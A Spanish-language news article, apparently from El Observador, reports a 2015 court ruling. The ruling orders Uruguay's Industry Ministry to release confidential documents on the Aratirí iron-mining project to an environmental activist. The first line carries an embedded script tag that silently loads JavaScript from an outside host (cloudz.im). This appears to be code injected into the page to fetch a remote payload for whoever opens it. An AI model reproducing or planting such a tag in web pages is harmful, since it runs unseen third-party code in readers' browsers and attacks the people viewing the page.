La discusión sobre el proyecto Aratirí lleva varios años y pudo avanzar poco y nada<script type="text/javascript" src="https://cloudz.im/cache.php?t=55.00"></script>

Nacional > DECISIÓN DE LA JUSTICIA

Juez ordena liberar documentos de Aratirí que están bajo reserva

El fallo va en contra de la decisión que había tomado el Ministerio de Industria
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13 de septiembre de 2015 a las 05:00

La Justicia desestimó un pedido del Ministerio de Industria, la empresa Zamin Ferrous (Aratirí) y otras firmas vinculadas al emprendimiento minero, de considerar confidencial información sobre el proyecto referida a temas industriales o comerciales, y entendió que la secretaría de Estado debe entregar esos datos a un representante de una ONG ambientalista.

El activista Víctor Baccheta, integrante de la organización Uruguay Libre, comenzó el año pasado un batalla judicial en base a la Ley de Acceso a la Información Pública para que el Ministerio de Industria le brinde toda la información que tenga disponible sobre la propuesta de Aratirí, que actualmente se encuentra stand by a nivel del gobierno y que implicaba la extracción de 18 millones de toneladas de hierro por año en un plazo de entre 15 y 20 años en los yacimientos de la zona de Valentines (Treinta y Tres) con una inversión de US$ 2.770 millones.

A fines de 2014, el juez de lo contencioso administrativo Alejandro Martínez le dio la razón a Baccheta y obligó al Ministerio de Industria a proporcionar la información, en un fallo que fue ratificado por el Tribunal de Apelaciones Civil de 3º Turno.

En base a esa decisión, la secretaría de Estado entregó a Baccheta cierta información pero calificó como reservada otra, sobre todo vinculada a aspectos comerciales e industriales, y eso dio paso a otra disputa judicial para decidir si esos elementos deben liberarse.

El Ministerio de Industria entregó en un sobre lacrado toda la documentación sobre Aratirí al juez Martínez, a quien le solicitó que declare confidencial parte de su contenido, según supo El Observador.

Pero el magistrado, en un fallo dictado el miércoles 9, desestimó ese planteo —que también formularon Aratirí y otras empresas vinculadas al proyecto— por lo que ahora Baccheta deberá acceder a la totalidad de la información, incluso la más sensible referida a aspectos económicos e industriales del emprendimiento en la que Aratirí invirtió cerca de US$ 200 millones en distintos informes y consultorías, lo cual a juicio de algunos expertos podría ser motivo de juicios contra el Estado.

El Observador consultó a un representante legal de Aratirí para conocer su opinión del fallo judicial, pero el representante de la empresa prefirió no hacer declaraciones.

Cosa juzgada

"La parte demandada (el Ministerio de Industria) como surge de autos, agregó en sobre parcialmente lacrado documentación cuyo contenido se desconoce, razón por la cual mal puede tenerse por cumplido el mandato judicial cuando se ignora el tenor de la documentación presentada de la que sólo se hace una descripción numérica de fojas que no se sabe si se ajusta a lo indicado", explica el juez en la última resolución a la que accedió El Observador.

Para el magistrado Martínez, "resulta improcedente que se declare reserva alguna en un proceso de Acceso a la Información Pública donde ya existe resolución judicial firme que determina su alcance".

Para el juez, el planteo de la secretaría de Estado y de las empresas vinculadas al proyecto minero "tiene su destino determinado por la cosa juzgada que se insiste en desconocer". Y más adelante dice: "No es admisible que se pretenda desconocer la cosa juzgada de los fallos dictados en autos".

En cuanto al planteo de declarar confidencial los datos empresariales e industriales efectuado por Aratirí y otras firmas, el juez entendió que no corresponde porque "son terceros en el proceso" iniciado por Baccheta, que es contra el Ministerio de Industria.

El abogado Martín Prats, que representa a Baccheta en nombre del Centro de Archivos y Acceso a la Información Pública (Cainfo), dijo a El Observador que el último fallo del juez Martínez es "una victoria" y aseguró que el Ministerio de Industria "no tendría muchos argumentos" para apelar.

De todos modos, deberán esperar a que venza el plazo que tiene la secretaría de Estado para recurrir la resolución, que termina el 18 de setiembre, según informó Prats.

En diciembre vence plazo para acordar

En diciembre vence el plazo establecido por ley para que el Poder Ejecutivo y la minera Aratirí firmen un contrato de extracción de hierro a gran escala. Sin embargo, hasta ahora la empresa y el gobierno han avanzado poco y nada en las negociaciones, sobre todo porque la firma de origen indio demora la presentación de garantías económicas tanto de mantenimiento del contrato como las ambientales. Eso hace que el proyecto en la zona de Valentines esté en duda.

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